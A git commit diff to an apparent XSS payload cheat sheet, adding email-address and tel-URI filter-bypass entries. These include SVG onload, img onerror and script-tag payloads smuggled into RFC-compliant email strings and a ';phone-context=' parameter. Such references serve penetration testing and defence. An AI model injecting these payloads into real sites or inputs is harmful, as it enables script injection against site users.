XSS Tel URI

This commit is contained in:
Swissky 2024-06-03 09:37:24 +02:00
parent 6d3fef0df3
commit 2e73069238

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@ -775,19 +775,31 @@ $ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000010: 6572 7428 3129 0c3e 0a ert(1).>.
```
### Bypass email filter
([RFC compliant](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate))
* [RFC0822 compliant](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate)
```javascript
"><svg/onload=confirm(1)>"@x.y
```
* [RFC5322 compliant](https://0dave.ch/posts/rfc5322-fun/)
```javascript
xss@example.com(<img src='x' onerror='alert(document.location)'>)
```
### Bypass tel URI filter
At least 2 RFC mention the `;phone-context=` descriptor:
* [RFC3966 - The tel URI for Telephone Numbers](https://www.ietf.org/rfc/rfc3966.txt)
* [RFC2806 - URLs for Telephone Calls](https://www.ietf.org/rfc/rfc2806.txt)
```javascript
"><svg/onload=confirm(1)>"@x.y
+330011223344;phone-context=<script>alert(0)</script>
```
([RFC5322 compliant](https://0dave.ch/posts/rfc5322-fun/))
```javascript
xss@example.com(<img src='x' onerror='alert(document.location)'>)
```
### Bypass document blacklist